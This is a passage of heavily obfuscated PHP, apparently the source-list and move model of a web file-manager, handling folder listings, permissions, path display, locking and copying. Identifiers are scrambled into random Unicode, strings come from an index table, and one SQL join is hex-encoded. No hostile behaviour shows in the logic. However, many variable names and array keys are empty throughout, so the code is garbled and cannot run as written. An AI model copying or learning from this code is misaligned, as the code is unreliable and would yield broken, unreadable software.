$혢[$ހ[363]]; $Ԛ = $this->_makeOrder(!0); $ϑԮ = $ހ[438] . str_replace($ހ[50], $ހ[439], $Ԛ[0]); if (strpos($ϑԮ, $ހ[443])) { $ϑԮ = str_replace($ހ[443], $ހ[444], $ϑԮ); } else { $ϑԮ .= $ހ[445] . $Ԛ[1]; } $Ҧܞ = array(); foreach ($լ as $ => $鿕) { $Ҧܞ[$ހ[438] . $] = $鿕; } $this->alias($ހ[446])->field($ү)->limit($̍)->order($ϑԮ); $Н = $this->join($ϙ)->where($Ҧܞ)->select(); if ($Н) { $ܑ[$ހ[369]] = $Н; } } protected function _makeOrder($ו = false) { $Ԕ =& $_SERVER[]; $ = Model($Ԕ[447])->get($Ԕ[448]); $Ř = Model($Ԕ[447])->get($Ԕ[449]); $ך = array($Ԕ[450] => $Ԕ[451], $Ԕ[452] => $Ԕ[453]); $Ƌ = array($Ԕ[32] => $Ԕ[32], $Ԕ[76] => $Ԕ[76], $Ԕ[174] => $Ԕ[412], $Ԕ[454] => $Ԕ[454], $Ԕ[455] => $Ԕ[456], $Ԕ[201] => $Ԕ[201], $Ԕ[85] => $Ԕ[85]); $ = Input::get($Ԕ[457], $Ԕ[7], $, array_keys($Ƌ)); $ = Input::get($Ԕ[458], $Ԕ[7], $Ř, array_keys($ך)); if (!in_array($, array_keys($Ƌ))) { $ = $Ԕ[32]; } if (!in_array($, array_keys($ך))) { $ = $Ԕ[450]; } if ($ == $Ԕ[32]) { } $ۀމ = $Ԕ[459] . $Ƌ[$] . $Ԕ[53] . $ך[$]; $ۀމ = rtrim(trim($ۀމ), $Ԕ[50]); if ($ו) { return array($ۀމ, $ך[$]); } return $this->order($ۀމ); } protected function _listDataApplyItem($뾦, $Џ = false) { $ = array($뾦); $this->_listDataApply($, $Џ); return $[0]; } protected function _listDataApply(&$ˡ, $ƽ = false) { $眮 =& $_SERVER[]; if (!$ˡ) { $ˡ = array(); return; } $̺ = array_to_keyvalue($ˡ, $眮[12], $眮[402]); $̺ = array_unique($̺); $this->_listSourceCache($ˡ); if (!$ƽ) { $this->_listAppendMeta($ˡ, $̺); $this->_listAppendFileMeta($ˡ, $̺); $this->_listAppendChildren($ˡ, $̺); } $this->_listAppendPath($ˡ); $this->_listAppendAuth($ˡ); $this->_listAppendSourceInfo($ˡ, $̺); $this->_listAppendUser($ˡ); $this->_listFilterInfo($ˡ, $ƽ); $this->_listAppendAuthSecret($ˡ); } protected function _listSourceCache($Ɛ) { $˛ =& $_SERVER[]; foreach ($Ɛ as $߲) { self::$cacheSourceInfo[$˛[460] . $߲[$˛[402]]] = $߲; } } protected function _listFilterInfo(&$۲, $ڍ = false) { $ =& $_SERVER[]; foreach ($۲ as &$∐) { $∐ = $this->pathInfoFilter($∐); self::$cachePathInfo[$[461] . intval($ڍ) . $[386] . $∐[$[402]]] = $∐; } unset($∐); } protected function _listMake(&$ދ) { $О =& $_SERVER[]; $ދ[$О[82]] = array(); $ދ[$О[83]] = array(); foreach ($ދ[$О[369]] as $˝) { $ڷ = $˝[$О[410]] == 1 ? $О[82] : $О[83]; $ދ[$ڷ][] = $˝; } unset($ދ[$О[369]]); } protected function _listAppendMeta(&$ȗ, $Օ֚) { $ߩ =& $_SERVER[]; $ = array($ߩ[417] => array($ߩ[418], $Օ֚)); $ = Model($ߩ[462])->field($ߩ[463])->where($)->select(); if (!$) { return; } $ = array($ߩ[464], $ߩ[465], $ߩ[444]); $ = array(); foreach ($ as $) { if (!isset($[$[$ߩ[402]]])) { $[$[$ߩ[402]]] = array(); } if (in_array($[$ߩ[94]], $)) { continue; } $[$[$ߩ[402]]][$[$ߩ[94]]] = $[$ߩ[374]]; } foreach ($ȗ as &$) { $[$ߩ[466]] = !1; if (isset($[$[$ߩ[402]]])) { $[$ߩ[466]] = $[$[$ߩ[402]]]; } if ($this->fileIsLock($) && $[$ߩ[413]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$ߩ[413]][$ߩ[414]] = AuthModel::authDisable($[$ߩ[413]][$ߩ[414]], $); $[$ߩ[413]][$ߩ[467]][$ߩ[413]] = $[$ߩ[413]][$ߩ[414]]; } } unset($); } protected function _listAppendFileMeta(&$τ, $ѻ) { $ȁ =& $_SERVER[]; $ᯛ΅ = array_to_keyvalue($τ, $ȁ[12], $ȁ[468]); $ᯛ΅ = array_filter(array_unique($ᯛ΅)); if (!$ᯛ΅) { return; } $䥖 = array($ȁ[469] => array($ȁ[418], $ᯛ΅)); $ǘ = $ȁ[470]; $ = Model($ȁ[471])->field($ǘ)->where($䥖)->select(); $ = array_to_keyvalue($, $ȁ[468]); $ = Model($ȁ[472])->field($ȁ[473])->where($䥖)->select(); $ = $ ? $ : array(); $ī = array(); foreach ($ as $̎) { if (!isset($ī[$̎[$ȁ[468]]])) { $ī[$̎[$ȁ[468]]] = array(); } $ī[$̎[$ȁ[468]]][$̎[$ȁ[94]]] = $̎[$ȁ[374]]; } foreach ($τ as &$) { $ = $[$ȁ[468]]; if (!$ || !is_array($[$])) { continue; } $È = $[$]; $È[$ȁ[76]] = $[$ȁ[76]]; $È[$ȁ[32]] = $[$ȁ[32]]; if (!isset(self::$cacheFileInfo[$ȁ[474] . $])) { self::$cacheFileInfo[$ȁ[474] . $] = array_merge(array(), $È); } unset($[$][$ȁ[84]]); $Ο = is_array($ī[$]) ? $ī[$] : array(); $[$ȁ[170]] = array_merge($Ο, $[$]); if (isset($[$ȁ[170]][$ȁ[169]])) { $[$ȁ[169]] = json_decode($[$ȁ[170]][$ȁ[169]], !0); unset($[$ȁ[170]][$ȁ[169]]); } } unset($); } protected function _listAppendSourceInfo(&$Ј, $) { $ =& $_SERVER[]; $ = Model($[475])->listData(); $ = Model($[425])->listData(); $Ž = Model($[415])->listData(); $߭ = Model($[476])->listSimple(); $ = array_to_keyvalue($, $[399]); $܋ = array_to_keyvalue_group($, $[84], $[426]); $ = array_to_keyvalue($Ž, $[84]); $ޭ = array_to_keyvalue_group($߭, $[402]); foreach ($Ј as &$Υ) { $Υ[$[87]] = array($[477] => 0, $[478] => 0, $[479] => 0); if (isset($[$Υ[$[402]]])) { $Υ[$[87]][$[480]] = 1; $Υ[$[87]][$[481]] = $[$Υ[$[402]]][$[32]]; } if ($܋ && $ && isset($܋[$Υ[$[402]]])) { $Υ[$[87]][$[482]] = array(); foreach ($܋[$Υ[$[402]]] as $ک欈) { $ = $[$ک欈]; $Υ[$[87]][$[482]][] = array($[483] => $[$[399]], $[420] => $[$[32]], $[484] => $[$[485]]); } } if ($ޭ && isset($ޭ[$Υ[$[402]]])) { $Υ[$[87]][$[486]] = array(); foreach ($ޭ[$Υ[$[402]]] as $ݬ) { $Ѹ = $[487]; if ($ݬ[$[488]] == $[88]) { $Ѹ .= $[489]; } $Υ[$[87]][$[486]] = array_field_key($ݬ, explode($[50], $Ѹ)); } } } unset($Υ); return $Ј; } protected function _listAppendChildren(&$ؗ, $ׁ) { $ =& $_SERVER[]; $ = array(); $ = array($[207] => 0, $[208] => 0); foreach ($ؗ as &$) { if (!$[$[410]]) { continue; } $[] = $[$[402]]; } unset($); if (!$) { return; } $߶ = array($[432] => array($[7], $), $[431] => 0); $ = array($[432], $[410], $[490] => $[491]); $٥ = $this->field($)->where($߶)->group($[492])->select(); $̀ = array(); foreach ($٥ as $) { $ՙ = $[$[432]]; $ = $[$[410]] == $[88] ? $[208] : $[207]; if (!isset($̀[$ՙ])) { $̀[$ՙ] = array($[207] => 0, $[208] => 0); } $̀[$ՙ][$] += $[$[491]]; } foreach ($ؗ as &$) { if (!$[$[410]]) { continue; } $㋴ = is_array($̀[$[$[402]]]) ? $̀[$[$[402]]] : $; $[$[208]] = $㋴[$[208]]; $[$[207]] = $㋴[$[207]]; unset($[$[412]]); } unset($); } protected function _listAppendAuth(&$ѿ) { $ =& $_SERVER[]; $졵坑 = array(); foreach ($ѿ as $ʯ) { if ($ʯ[$[411]] == self::TYPE_GROUP) { $졵坑[] = $ʯ[$[402]]; } } if (!$졵坑) { return; } $Ӟڋ = array_to_keyvalue($ѿ, $[402]); $ = Model($[493])->getSourceList($졵坑, $Ӟڋ); $߹ = $GLOBALS[$[494]] == 1; foreach ($ѿ as $ => &$ʯ) { $ʯ[$[413]] = $[$ʯ[$[402]]]; if (!$ʯ[$[413]] && $ʯ[$[411]] == self::TYPE_GROUP) { $ʯ[$[413]] = Action($[495])->pathGroupAuthMake($ʯ[$[496]]); if (!$ʯ[$[413]] && !$߹) { $ʯ[$[203]] = !1; $ʯ[$[202]] = !1; } } if ($ʯ[$[413]]) { $ʯ[$[203]] = AuthModel::authCheckEdit($ʯ[$[413]][$[414]]); $ʯ[$[202]] = AuthModel::authCheckView($ʯ[$[413]][$[414]]); } $this->groupPathDisplay($ʯ); } unset($ʯ); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[435])->get($[497]) != $[88]) { return; } static $¤ = false; if (!$¤) { $ԭϿ = Model($[498]); $ = Model($[499]); $¤ = $->listData(); $¤ = array_to_keyvalue($¤, $[402]); $Є = json_decode(Model($[435])->get($[500]), !0); $Є = array_to_keyvalue($Є, $[399]); foreach ($¤ as $ʇŜ => $ȹ) { $ܡċ = $Є[$ȹ[$[501]]]; if (!$ܡċ) { $->remove($ȹ[$[399]]); unset($¤[$ʇŜ]); continue; } $ = $ԭϿ->listData($ܡċ[$[413]]); if (!$) { $->remove($ȹ[$[399]]); unset($¤[$ʇŜ]); continue; } $ȹ[$[413]] = $; $ȹ[$[502]] = $ܡċ; $ȹ[$[503]] = Model($[504])->getInfoSimpleOuter($ȹ[$[454]]); $¤[$ʇŜ] = $ȹ; } } $̅ = USER_ID; $䦣 = array(); $˜ = $this->_listAppendPath($䦣, !0); foreach ($ as $ʇŜ => &$ȹ) { if (!is_array($ȹ[$[413]])) { continue; } if ($ȹ[$[411]] != $[505]) { continue; } if (isset($¤[$ȹ[$[402]]])) { $ķ = $¤[$ȹ[$[402]]]; if (!is_array($ȹ[$[466]])) { $ȹ[$[466]] = array(); } $ȹ[$[466]][$[506]] = $ķ[$[501]]; $ȹ[$[413]][$[507]] = $ķ; $ȹ[$[413]][$[508]] = $ȹ[$[509]]; $ȹ[$[413]][$[510]] = $[88]; if ($ķ[$[454]] != $̅) { $ȹ[$[413]][$[414]] = $ȹ[$[413]][$[414]] & $ķ[$[413]][$[413]]; } continue; } $ѦŞ = $this->parentLevelArray($ȹ[$[511]]); $ = array_reverse($ѦŞ); foreach ($ as $ => $Ϋ) { if (!isset($¤[$Ϋ])) { continue; } $ķ = $¤[$Ϋ]; $ȹ[$[413]][$[507]] = $ķ; if ($ķ[$[454]] != $̅) { $ȹ[$[413]][$[414]] = $ȹ[$[413]][$[414]] & $ķ[$[413]][$[413]]; } $ڃ = $[12]; $㏾ = count($ѦŞ) - $; for ($ݲҠ = 0; $ݲҠ < $㏾; $ݲҠ++) { if (!isset($˜[$ѦŞ[$ݲҠ]])) { $ڃ = $[12]; break; } $ڃ = $ڃ . rtrim($˜[$ѦŞ[$ݲҠ]], $[8]) . $[8]; } $ȹ[$[413]][$[508]] = rtrim($ڃ, $[8]) . $[8]; break; } } unset($ȹ); } public function groupPathDisplay(&$ո) { $ֆ˩ =& $_SERVER[]; if ($ո[$ֆ˩[411]] != self::TYPE_GROUP) { return; } $ = Model($ֆ˩[512])->getInfo($ո[$ֆ˩[496]]); $ْ = $this->parentLevelArray($[$ֆ˩[511]]); $ = $ֆ˩[12]; foreach ($ْ as $ɸ) { $ď = Model($ֆ˩[512])->getInfo($ɸ); $ .= $ď[$ֆ˩[87]][$ֆ˩[402]] . $ֆ˩[50]; } $ո[$ֆ˩[513]] = $[$ֆ˩[432]]; $ո[$ֆ˩[514]] = $[$ֆ˩[511]]; $ո[$ֆ˩[515]] = $[$ֆ˩[516]]; $ո[$ֆ˩[517]] = $ . $[$ֆ˩[87]][$ֆ˩[402]]; } protected function _listAppendPath(&$, $¿ = false) { $DŽ =& $_SERVER[]; static $Ҫ = array(); $ = array(); $Ќ = array(); if ($¿) { return $Ҫ; } foreach ($ as &$) { $ = $[$DŽ[402]]; if ($[$DŽ[410]] == $DŽ[88] && $[$DŽ[432]] != 0) { $Ҫ[$] = $[$DŽ[32]]; } if ($[$DŽ[410]] == $DŽ[88] && $[$DŽ[432]] == 0 && !isset($Ҫ[$])) { $Ҫ[$] = $this->_listAppendPathRoot($, array()); } if (isset($Ќ[$[$DŽ[511]]])) { continue; } $Ќ[$[$DŽ[511]]] = !0; $ƴ = $this->parentLevelArray($[$DŽ[511]]); foreach ($ƴ as $Ǚ => $Бߜ) { if (isset($Ҫ[$Бߜ])) { continue; } if ($Ǚ == 0) { $Ҫ[$Бߜ] = $this->_listAppendPathRoot($, $ƴ); } if ($Ǚ != 0) { $[] = $Бߜ; } } } unset($); $ = array_unique($); if (count($) > 0) { $Ѱ = array($DŽ[417] => array($DŽ[418], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ٮ = is_array($) ? array($) : !1; } else { $ٮ = $this->field($DŽ[518])->where($Ѱ)->select(); } if (!$ٮ) { $ٮ = array(); } foreach ($ٮ as $) { $Ҫ[$[$DŽ[402]]] = $[$DŽ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $̹ = array(); foreach ($ as &$) { $ = $[$DŽ[511]]; $й = $DŽ[12]; if (isset($̹[$])) { $й = $̹[$]; } else { $ƴ = $this->parentLevelArray($[$DŽ[511]]); foreach ($ƴ as $Ǚ => $Бߜ) { if (isset($Ҫ[$Бߜ])) { $й .= $Ҫ[$Бߜ] . $DŽ[8]; } } $̹[$] = $й; } $й .= $[$DŽ[32]]; if ($[$DŽ[410]] == $DŽ[88]) { $й .= $DŽ[8]; } $[$DŽ[509]] = str_replace($DŽ[519], $DŽ[8], $й); if ($[$DŽ[432]] == $DŽ[198]) { $[$DŽ[32]] = trim($Ҫ[$[$DŽ[402]]], $DŽ[8]); $[$DŽ[509]] = $[$DŽ[32]] . $DŽ[8]; } if (intval($[$DŽ[411]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $ƴ, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $ٱ, $ӑ) { $ =& $_SERVER[]; if (!in_array($ӑ, $ٱ) && $[$[402]] != $ӑ) { return; } $ = explode($[8], trim($[$[509]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[509]] = $[8] . LNG($[520]) . $[8] . ltrim($, $[8]); $[$[511]] = $[521] . implode($[50], array_slice($ٱ, 1)) . $[50]; if ($[$[402]] == $ӑ) { $[$[511]] = $[521]; $[$[432]] = $[198]; $[$[32]] = LNG($[520]); } $[$[522]] = $[523]; } protected function _listAppendPathRoot(&$, $) { $Ǟ =& $_SERVER[]; static $ = false; $Κ² = $Ǟ[12]; if ($[$Ǟ[411]] == self::TYPE_USER) { if ($[$Ǟ[496]] == USER_ID) { $Κ² = LNG($Ǟ[524]); if ($ === !1) { $Ƶ = Model($Ǟ[525])->getInfoFull(USER_ID); $ = _get($Ƶ, $Ǟ[526], $Ǟ[12]); } if ($ && $[0] == $ || !$ && $[$Ǟ[402]] == $) { $Κ² = LNG($Ǟ[527]); $[$Ǟ[528]] = $Ǟ[529]; } if (!$) { $[$Ǟ[32]] = $Κ²; } } else { $Ȫ = Model($Ǟ[504])->getInfoSimple($[$Ǟ[496]]); $Κ² = LNG($Ǟ[530]) . $Ǟ[162] . $Ȫ[$Ǟ[32]] . $Ǟ[164]; $[$Ǟ[531]] = array($Ǟ[32] => $Ȫ[$Ǟ[32]], $Ǟ[532] => $Ȫ[$Ǟ[532]], $Ǟ[533] => $Ȫ[$Ǟ[533]]); } } else { if ($[$Ǟ[411]] == self::TYPE_GROUP) { $Ȫ = Model($Ǟ[512])->getInfoSimple($[$Ǟ[496]]); $Κ² = $Ȫ[$Ǟ[32]]; } else { if ($[$Ǟ[411]] == self::TYPE_SYSTEM) { $Κ² = $Ǟ[534]; } } } $Κ² = $Κ² ? $Ǟ[8] . $Κ² . $Ǟ[8] : $Ǟ[8]; return $Κ²; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[454]); $승 = array_to_keyvalue($, $[12], $[456]); $ۗ = array_merge($, $승); $ث = Model($[525])->userListInfo($ۗ); foreach ($ as &$) { $ = $[$[454]]; $[$[454]] = $ث[$] ? $ث[$] : !1; $ = $[$[456]]; $[$[456]] = $ث[$] ? $ث[$] : !1; if (isset($[$[466]]) && $[$[466]][$[535]]) { $ = $GLOBALS[$[6]][$[89]][$[536]]; if ($[$[466]][$[537]] <= time() - $) { $this->metaSet($[$[402]], $[535], null); $this->metaSet($[$[402]], $[537], null); unset($[$[466]][$[535]]); continue; } $ = $[$[466]][$[535]]; $[$[466]][$[538]] = Model($[525])->getInfoSimpleOuter($); } } unset($); } public function parentLevelArray($Ð) { $ʼ =& $_SERVER[]; $Ð = explode($ʼ[50], trim($Ð, $ʼ[50])); return array_remove_value($Ð, $ʼ[198]); } public function listAll($) { $⢶ =& $_SERVER[]; $݅ = $this->sourceInfo($); $ = array($⢶[539] => array($⢶[540], $݅[$⢶[511]] . $ . $⢶[541]), $⢶[542] => 0); $ٴ = $⢶[543]; $ٙ̓ţ = "\x4c\105\106\x54\x20\112\x4f\111\116\x20{$this->tablePrefix}\x69\157\137\x66\x69\154\x65\40\146\151\x6c\145\x20\x6f\156\x20\x73\157\x75\162\143\x65\56\x66\x69\154\145\x49\x44\40\x3d\x20\146\151\x6c\x65\x2e\146\x69\x6c\145\111\x44"; $ = $this->alias($⢶[446])->field($ٴ)->where($)->join($ٙ̓ţ)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $⢶[402]); $ɤ = "\57{$݅[$⢶[32]]}\x2f"; $ɤ = $ɤ == $⢶[519] ? $⢶[8] : $ɤ; $ = array(); foreach ($ as $ァ => $Ł) { $ù = $this->parentLevelArray($Ł[$⢶[511]]); array_shift($ù); $ᤄ = $ɤ; for ($ = 0; $ < count($ù); $++) { $ᤄ .= $[$ù[$]][$⢶[32]] . $⢶[8]; } $ᤄ .= $Ł[$⢶[32]]; if ($Ł[$⢶[410]]) { $ᤄ .= $⢶[8]; } $ٙ = array($⢶[421] => str_replace($⢶[519], $⢶[8], str_replace($⢶[519], $⢶[8], str_replace($⢶[519], $⢶[8], $ᤄ))), $⢶[544] => intval($Ł[$⢶[410]]), $⢶[545] => intval($Ł[$⢶[76]]), $⢶[85] => intval($Ł[$⢶[85]]), $⢶[87] => $this->pathInfoFilter($Ł)); if (!$ٙ[$⢶[410]]) { $ٙ[$⢶[468]] = $Ł[$⢶[468]]; } $[] = $ٙ; } $ = array_sort_by($, $⢶[84]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($Һ) { $ܵ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ܵ[546], $Һ); $Ҟ = 1; $this->_lockEvent($Һ, array($ܵ[547], $ܵ[548]), $Ҟ); $this->_lockParent($Һ, array($ܵ[548]), $Ҟ); $this->_lockEvent($Һ, array($ܵ[549], $ܵ[550]), $Ҟ); $this->_lockCheckEnd($ܵ[546], $Һ); } public function lockCopyEnd($ܱ) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ܱ, array($[547], $[548]), $); $this->_lockParent($ܱ, array($[548]), $); $this->_lockEvent($ܱ, array($[549], $[550]), $); } public function lockWriteStart($Ѵ, $ = '') { $ᣏ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($ᣏ[547], $Ѵ); $ = 1; $this->_lockKey($ᣏ[551] . $Ѵ . $ᣏ[10] . $, $); $this->_lockEvent($Ѵ, array($ᣏ[546], $ᣏ[548]), $); $this->_lockParent($Ѵ, array($ᣏ[546], $ᣏ[548]), $); $this->_lockCheckEnd($ᣏ[547], $Ѵ); } public function lockWriteEnd($ێ, $ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $܌Й = 0; $this->_lockKey($[551] . $ێ . $[10] . $, $܌Й); $this->_lockEvent($ێ, array($[546], $[548]), $܌Й); $this->_lockParent($ێ, array($[546], $[548]), $܌Й); } public function lockMoveStart($핥) { $Ε =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($Ε[548], $핥); $ړ = 1; $this->_lockKey($Ε[552] . $핥, $ړ); $this->_lockEvent($핥, array($Ε[546], $Ε[547]), $ړ); $this->_lockParent($핥, array($Ε[546], $Ε[548]), $ړ); $this->_lockEvent($핥, array($Ε[553], $Ε[549], $Ε[550]), $ړ); $this->_lockCheckEnd($Ε[548], $핥); } public function lockMoveEnd($) { $ͱ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ͱ[552] . $, $); $this->_lockEvent($, array($ͱ[546], $ͱ[547]), $); $this->_lockParent($, array($ͱ[546], $ͱ[548]), $); $this->_lockEvent($, array($ͱ[553], $ͱ[549], $ͱ[550]), $); } private function _lockCheck($ݨ, $) { $Ӂۙ =& $_SERVER[]; $ = $this->sourceInfo($); $ՠ = $ݨ . $Ӂۙ[10] . $; $this->_lockTimeStart[$ՠ] = timeFloat(); if (!is_array($)) { return; } $ = LNG($Ӂۙ[554]); CacheLock::setErrorMsg($Ӂۙ[162] . htmlspecialchars($[$Ӂۙ[32]]) . $Ӂۙ[164] . $); $this->_lockKey($ՠ, 1); $this->_lockKey($ՠ, 0); $ґ = array_reverse($this->parentLevelArray($[$Ӂۙ[511]])); foreach ($ґ as $⪖) { $ՠ = $ݨ . $Ӂۙ[555] . $⪖; if (CacheLock::lockGet($Ӂۙ[556] . $ՠ)) { $ = $this->sourceInfo($⪖); CacheLock::setErrorMsg($Ӂۙ[162] . htmlspecialchars($[$Ӂۙ[32]]) . $Ӂۙ[164] . $); $this->_lockKey($ՠ, 1); $this->_lockKey($ՠ, 0); } } } private function _lockCheckEnd($ņ, $Ӄ) { $ =& $_SERVER[]; $ùџ = $ņ . $[10] . $Ӄ; CacheLock::setErrorMsg($[378]); if (!isset($this->_lockTimeStart[$ùџ])) { return; } $Ԛ = timeFloat() - $this->_lockTimeStart[$ùџ]; unset($this->_lockTimeStart[$ùџ]); if ($Ԛ > 0.5) { unset(self::$cacheSourceInfo[$[460] . $Ӄ]); } $ێ = $this->sourceInfo($Ӄ); if (!$ێ) { show_json(LNG($[105]), !1); } } private function _lockParent($, $ۘ, $) { if (!$this->autoLockSet) { return; } $ؑ = $this->sourceInfo($); if (!is_array($ؑ)) { return; } $ = array_reverse($this->parentLevelArray($ؑ[$_SERVER[][511]])); foreach ($ as $袶) { $this->_lockEvent($袶, $ۘ, $); } } private function _lockEvent($ا, $Ħ, $ߚ) { $ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($Ħ as $²) { $Ā = $² . $[10] . $ا; if ($ߚ && CacheLock::lockGet($[556] . $Ā)) { continue; } $this->_lockKey($Ā, $ߚ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($̒ܲ, $ = 1) { $ٝ = $_SERVER[][556] . md5($̒ܲ); if ($) { if (isset(self::$_lockItemArr[$ٝ])) { return; } self::$_lockItemArr[$ٝ] = 1; CacheLock::lock($ٝ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ٝ])) { return; } unset(self::$_lockItemArr[$ٝ]); CacheLock::unlock($ٝ); } } public function isParentOf($, $ʉ) { $Ǩ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->sourceInfo($ʉ); $ = $[$Ǩ[511]] . $[$Ǩ[402]] . $Ǩ[50]; $ሳ = $[$Ǩ[511]] . $[$Ǩ[402]] . $Ǩ[50]; $ = strpos($ሳ, $) === 0; return $; } private $targetIsDelete = 0; public function copy($ϐ, $ܖ, $ŀĕ = REPEAT_REPLACE, $ = '') { $͘ =& $_SERVER[]; $ = $this->sourceInfo($ϐ); $ = $this->sourceInfo($ܖ); if (!$ || !$ || $[$͘[410]] != $͘[88]) { return !1; } if ($this->isParentOf($ϐ, $ܖ)) { return !1; } $衱 = $ ? $ : $[$͘[32]]; $this->lockCopyStart($ϐ); $this->lockWriteStart($ܖ, $衱); $А = array($͘[557] => array(), $͘[558] => array(), $͘[559] => array()); $this->targetIsDelete = intval($[$͘[431]]); $ݚ = $this->fileNameExistCache($ܖ, $[$͘[32]]); $ၗş = $this->_copy($ϐ, $ܖ, $ŀĕ, $А, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($ϐ); $this->lockWriteEnd($ܖ, $衱); if ($[$͘[410]] == $͘[88] && $ݚ == $ၗş) { $this->folderSizeResetChildren($ݚ); } Model($͘[560])->addAll($А[$͘[558]], array(), !0); if ($ݚ != $ၗş || $[$͘[410]] == $͘[88]) { Model($͘[561])->eventCopy($ၗş); } $this->saveAll($А[$͘[559]]); Model($͘[200])->linkAdd($А[$͘[557]]); $this->folderSizeReset($ܖ); $this->updateModifyTime($ܖ); return $ၗş; } private function _copy($˟, $, $٨ƍ, &$, $, $܆ = '') { $Խ =& $_SERVER[]; $ں = $this->sourceInfoCache($˟); $ = $ں[$Խ[410]] == $Խ[88]; $ = $܆ ? $܆ : $ں[$Խ[32]]; $џ = $this->fileNameExistCache($, $); if ($) { $this->_childrenAllMake($˟); if ($ && $џ) { $this->_childrenAllMake($џ); } } if (!$џ) { return $this->_copyCreate($˟, $, $, $); } $ = $џ; if ($) { if ($٨ƍ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $٨ƍ, $); $ = $this->_copyCreate($˟, $, $, $); } else { $ݍ = $this->_childrenList($˟); foreach ($ݍ as $ٹ) { $this->_copy($ٹ[$Խ[402]], $џ, $٨ƍ, $, !1); } } } else { if ($٨ƍ == REPEAT_RENAME || $٨ƍ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($, $, $٨ƍ, $); $ = $this->_copyCreate($˟, $, $, $); } else { if ($٨ƍ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($џ); $ќ = $this->fileHistory($, $ں[$Խ[468]], $ں[$Խ[76]]); if ($ќ) { $[$Խ[557]][] = $ں[$Խ[468]]; } } else { if ($٨ƍ == REPEAT_SKIP) { } } } Hook::trigger($Խ[562], array($Խ[563], $ں, 0)); } return $; } private function _copyCreate($, $ʸ, $Є, &$ˤ) { $ =& $_SERVER[]; $ظմ = $this->sourceInfoCache($); $◤ = $this->sourceInfoCache($ʸ); $ʣˡ = $this->_makeItemData($ظմ, $◤, $Є); Hook::trigger($[564], $ʣˡ); Hook::trigger($[565], array($[566], $ʣˡ, 0)); $כŤ = $this->add($ʣˡ); $ = array($[402] => $כŤ, $[32] => $Є); $this->_copyApplyMeta($, $ˤ); if ($ظմ[$[410]] != $[88]) { $ˤ[$[557]][] = $ظմ[$[468]]; return $כŤ; } $ = array(); $ = array(); $this->_childrenListAll($, $); $ = count($); if ($ == 0) { return $כŤ; } $Ԃ = $this->sourceInfo($כŤ); foreach ($ as $𢋄) { $ͫ = $this->_makeItemData($𢋄, $Ԃ, $𢋄[$[32]]); $ͫ[$[511]] = $𢋄[$[511]]; $[] = $ͫ; } $this->chunkEventSet($[567], array($[568], $ʣˡ, $)); $this->addAll($, array(), !1); $ = $this->where(array($[432] => $כŤ))->select(); $؝ = $this->_childrenMakeRelation($, $); $؝[$] = $כŤ; $䔊 = array(); $Ŭ = array(); foreach ($ as $𢋄) { $̥ = $𢋄[$[402]]; $À = $this->_childrenMatch($؝, $𢋄, $Ԃ); $䔊[] = array($[402], $̥, $[432], $À[$[432]]); $Ŭ[] = array($[402], $̥, $[511], $À[$[511]]); $this->_copyApplyMeta($𢋄, $ˤ); if ($𢋄[$[410]] != $[88]) { $ˤ[$[557]][] = $𢋄[$[468]]; } } $this->chunkEventSet($[569], array($[570], $ʣˡ, $)); $this->saveAll($䔊); $this->chunkEventSet($[571], array($[572], $ʣˡ, $)); $this->saveAll($Ŭ); return $כŤ; } private function _childrenMakeRelation($, $) { $ =& $_SERVER[]; $ٚ = array(); $틃 = array(); foreach ($ as $٢) { $鍧Ȍ = $٢[$[32]] . $[8] . $٢[$[511]]; $ٚ[$鍧Ȍ] = $٢[$[402]]; } foreach ($ as $٢) { $鍧Ȍ = $٢[$[32]] . $[8] . $٢[$[511]]; $ = $ٚ[$鍧Ȍ]; $틃[$] = $٢[$[402]]; } return $틃; } private function _childrenMatch($ʊ, $뻂, $) { $ =& $_SERVER[]; $䙌 = $[$[511]]; $ʗ = $this->parentLevelArray($뻂[$[511]]); foreach ($ʗ as $ʱ) { if (isset($ʊ[$ʱ])) { $䙌 .= $ʊ[$ʱ] . $[573]; } } $䙌 = rtrim($䙌, $[50]) . $[50]; $ў = $this->parentLevelArray($䙌); $Ţ = $ў[count($ў) - 1]; return array($[432] => $Ţ, $[511] => $䙌); } private function _makeItemData($, $, $è) { $ =& $_SERVER[]; $ܳ = array($[574] => $[$[410]], $[420] => $è, $[575] => $[$[412]] ? $[$[412]] : $[12], $[469] => $[$[468]] ? $[$[468]] : 0, $[545] => $[$[76]] ? $[$[76]] : 0, $[576] => intval($[$[411]]), $[577] => intval($[$[496]]), $[578] => intval(USER_ID), $[579] => intval(USER_ID), $[401] => intval($[$[402]]), $[580] => $[$[511]] . $[$[402]] . $[50], $[424] => $[$[85]] ? $[$[85]] : time(), $[430] => 0, $[581] => $[12]); return $ܳ; } private function _copyApplyMeta($Ò, &$˺) { $֭ =& $_SERVER[]; $߹ = $Ò[$֭[402]]; $ް = $Ò[$֭[32]]; if (!isset($Ò[$֭[582]]) || 